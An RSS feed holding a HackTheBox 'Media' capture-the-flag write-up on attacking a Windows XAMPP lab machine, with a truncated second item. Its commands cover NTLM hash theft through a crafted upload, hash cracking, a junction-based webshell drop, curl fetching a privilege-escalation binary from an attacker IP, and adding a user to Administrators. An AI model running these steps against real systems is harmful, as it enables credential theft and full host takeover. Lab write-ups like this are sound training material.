<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Mohamed Mo</title>
    <description>The latest articles on DEV Community by Mohamed Mo (@mohamed_mo_f0979dd80f48c7).</description>
    <link>https://dev.to/mohamed_mo_f0979dd80f48c7</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3754365%2F9f401bd4-6372-4289-927f-268b688bec70.png</url>
      <title>DEV Community: Mohamed Mo</title>
      <link>https://dev.to/mohamed_mo_f0979dd80f48c7</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/mohamed_mo_f0979dd80f48c7"/>
    <language>en</language>
    <item>
      <title>HackTheBox Media writeup</title>
      <dc:creator>Mohamed Mo</dc:creator>
      <pubDate>Tue, 10 Feb 2026 15:56:33 +0000</pubDate>
      <link>https://dev.to/mohamed_mo_f0979dd80f48c7/hackthebox-media-writeup-58i6</link>
      <guid>https://dev.to/mohamed_mo_f0979dd80f48c7/hackthebox-media-writeup-58i6</guid>
      <description>&lt;p&gt;Back with a new writeup&lt;/p&gt;

&lt;p&gt;Overview:&lt;br&gt;
Media is a Medium-difficulty Windows machine from HackTheBox (VulnLab) running an Apache XAMPP stack with a custom PHP web application. The file upload functionality can be abused to leak an NTLMv2 hash, which can be cracked to obtain credentials and gain initial access via SSH.&lt;/p&gt;

&lt;p&gt;Afterward, analyzing the application’s source code reveals the upload storage path, enabling an NTFS Junction attack to upload a malicious PHP web shell and achieve RCE. Finally, privilege escalation is achieved by abusing SeTcbPrivilege or regaining SeImpersonate to elevate privileges to NT AUTHORITY\SYSTEM.&lt;/p&gt;
&lt;h2&gt;
  
  
  Enumeration
&lt;/h2&gt;
&lt;h4&gt;
  
  
  RustScan-Nmap
&lt;/h4&gt;

&lt;p&gt;Let’s start the enumeration:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F66ipnn63d7szmye3ahac.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F66ipnn63d7szmye3ahac.png" alt="Rustscan" width="800" height="91"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fplse90ju9s7eiobtq3l9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fplse90ju9s7eiobtq3l9.png" alt="nmap" width="800" height="329"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Enum Http/80
&lt;/h4&gt;

&lt;p&gt;I started by enumerating web page&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk3s073znarbl7x22l6cm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk3s073znarbl7x22l6cm.png" alt=" " width="800" height="379"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As mentioned in the photo above we can upload video files, so I figured that it might be ntlm relay attack, then I used &lt;code&gt;ntlm_theft&lt;/code&gt; to generate malicious file with &lt;code&gt;.asx&lt;/code&gt; extension&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;.asx – via Windows Media Player playlist (Better, primary open)&lt;br&gt;
&lt;/p&gt;


&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 tools/ntlm_theft.py &lt;span class="nt"&gt;-g&lt;/span&gt; asx &lt;span class="nt"&gt;-s&lt;/span&gt; 10.10.14.115 &lt;span class="nt"&gt;--filename&lt;/span&gt; shell
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ryrpyn9pyruuckyu1x8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ryrpyn9pyruuckyu1x8.png" alt="ntlm_theft.py" width="800" height="218"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next started responder to capture the hash&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;responder &lt;span class="nt"&gt;-I&lt;/span&gt; tun0 &lt;span class="nt"&gt;-dwv&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvogxlmfsi6ux7ahchojn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvogxlmfsi6ux7ahchojn.png" alt="responder" width="569" height="847"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then I uploaded the file&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffuxdstem6jvccuz9k3m4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffuxdstem6jvccuz9k3m4.png" alt=" " width="800" height="340"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;and suiii we did it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn53smiz1k32601jllqqa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn53smiz1k32601jllqqa.png" alt=" " width="800" height="274"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we have ntlmv2 hash for &lt;code&gt;enox&lt;/code&gt;,then let's running hashcat to crack the hash&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 5600 ntlmv2 /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpott349np865xcr09t9y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpott349np865xcr09t9y.png" alt="hashcat" width="800" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nice now we have user creds: &lt;code&gt;enox:1234virus@&lt;/code&gt; now we can try login using ssh or rdp&lt;/p&gt;

&lt;p&gt;I managed to gain foothold using ssh and captured the &lt;code&gt;user.txt&lt;/code&gt; flag&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5ezq0uwzet35pvxw01lf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5ezq0uwzet35pvxw01lf.png" alt="user.txt" width="478" height="456"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Lateral Movement
&lt;/h2&gt;

&lt;p&gt;We can start with enumeration of the target and we can start with the webapp application directory source code to find any hard coded credentials that may be readable.&lt;/p&gt;

&lt;p&gt;First, I reviewed &lt;code&gt;index.php&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="nb"&gt;error_reporting&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Your PHP code for handling form submission and file upload goes here.&lt;/span&gt;
    &lt;span class="nv"&gt;$uploadDir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'C:/Windows/Tasks/Uploads/'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Base upload directory&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"REQUEST_METHOD"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"POST"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_FILES&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"fileToUpload"&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$firstname&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;filter_var&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"firstname"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;FILTER_SANITIZE_STRING&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nv"&gt;$lastname&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;filter_var&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"lastname"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;FILTER_SANITIZE_STRING&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nv"&gt;$email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;filter_var&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;FILTER_SANITIZE_STRING&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// Create a folder name using the MD5 hash of Firstname + Lastname + Email&lt;/span&gt;
        &lt;span class="nv"&gt;$folderName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$firstname&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$lastname&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$email&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// Create the full upload directory path&lt;/span&gt;
        &lt;span class="nv"&gt;$targetDir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$uploadDir&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$folderName&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'/'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="c1"&gt;// Ensure the directory exists; create it if not&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;file_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$targetDir&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nb"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$targetDir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mo"&gt;0777&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// Sanitize the filename to remove unsafe characters&lt;/span&gt;
        &lt;span class="nv"&gt;$originalFilename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_FILES&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"fileToUpload"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s2"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="nv"&gt;$sanitizedFilename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;preg_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/[^a-zA-Z0-9._]/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$originalFilename&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;


        &lt;span class="c1"&gt;// Build the full path to the target file&lt;/span&gt;
        &lt;span class="nv"&gt;$targetFile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$targetDir&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$sanitizedFilename&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;move_uploaded_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_FILES&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"fileToUpload"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s2"&gt;"tmp_name"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;$targetFile&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;script&amp;gt;alert('Your application was successfully submitted. Our HR shall review your video and get back to you.');&amp;lt;/script&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

            &lt;span class="c1"&gt;// Update the todo.txt file&lt;/span&gt;
            &lt;span class="nv"&gt;$todoFile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$uploadDir&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'todo.txt'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="nv"&gt;$todoContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Filename: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$originalFilename&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;", Random Variable: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$folderName&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

            &lt;span class="c1"&gt;// Append the new line to the file&lt;/span&gt;
            &lt;span class="nb"&gt;file_put_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$todoFile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$todoContent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;FILE_APPEND&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;script&amp;gt;alert('Uh oh, something went wrong... Please submit again');&amp;lt;/script&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From the source code, we can extract two important details: the base upload directory and the logic used to generate the upload path. The application stores uploaded files under the following directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$uploadDir = 'C:/Windows/Tasks/Uploads/';
$folderName = md5($firstname . $lastname . $email);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means that each user’s files are stored inside a folder whose name is derived from the MD5 hash of the concatenated first name, last name, and email address. By calculating this MD5 hash using the same inputs, we can predict the exact folder name and verify it against the directory where uploaded files are stored.&lt;/p&gt;

&lt;h4&gt;
  
  
  Arbitrary File Write to RCE via Junction
&lt;/h4&gt;

&lt;p&gt;1) Upload Webshell&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3b6psrrqghmg7ri0s9ye.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3b6psrrqghmg7ri0s9ye.png" alt=" " width="800" height="303"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see &lt;code&gt;f323599927054a9351e0927d6002b64b&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8vwj9dm4tglmyovydl6o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8vwj9dm4tglmyovydl6o.png" alt=" " width="600" height="362"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After removing the directory, let's make a link:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mklink /J C:\Windows\Tasks\Uploads\f323599927054a9351e0927d6002b64b C:\xampp\htdocs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now I'll upload the webshell, Let's check If the link worked:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fazxjucss258dqfihg4no.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fazxjucss258dqfihg4no.png" alt=" " width="511" height="293"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let's upload reverse shell using this webshell:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3e8969nc22kknelgv9dl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3e8969nc22kknelgv9dl.png" alt=" " width="800" height="164"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And It worked:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvwea6v7dxa63jrf7znkq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvwea6v7dxa63jrf7znkq.png" alt=" " width="648" height="869"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  privilege escalation
&lt;/h2&gt;

&lt;p&gt;After checking our privs we found &lt;code&gt;SeTcbPrivilege&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqeolb5hg0av06wwfdwdh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqeolb5hg0av06wwfdwdh.png" alt=" " width="800" height="345"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  SeTcbPrivilege
&lt;/h4&gt;

&lt;p&gt;It is a Windows privilege that allows a process or user to operate as part of the OS.&lt;br&gt;
With this privilege, a process can impersonate users, create tokens, and perform highly sensitive system-level actions.&lt;br&gt;
It is one of the most powerful privileges in Windows and is rarely granted because it can lead to full system compromise if abused.&lt;/p&gt;

&lt;p&gt;This privilege can be leveraged to achieve privilege escalation using the following technique &lt;a href="https://github.com/b4lisong/SeTcbPrivilege-Abuse" rel="noopener noreferrer"&gt;https://github.com/b4lisong/SeTcbPrivilege-Abuse&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I uploaded &lt;code&gt;TcbElevation-x64.exe&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;curl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://10.10.14.139:8000/TcbElevation-x64.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TcbElevation-x64.exe&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;then let's add our user &lt;code&gt;enox&lt;/code&gt; to the &lt;code&gt;Administrators&lt;/code&gt; group&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\TcbElevation-x64.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;elevate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"net localgroup Administrators enox /add"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, we reconnect via SSH with elevated privileges to obtain the flag.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fldwccqfmo7y12rf0ez22.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fldwccqfmo7y12rf0ez22.png" alt=" " width="562" height="955"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F512czfzf6po8w0umyz2e.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F512czfzf6po8w0umyz2e.jpeg" alt=" " width="300" height="168"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>windows</category>
      <category>hackthebox</category>
      <category>redteam</category>
    </item>
    <item>
      <title>HackTheBox Certified writeup</title>
      <dc:creator>Mohamed Mo</dc:creator>
      <pubDate>Thu, 05 Feb 2026 08:03:30 +0000</pubDate>
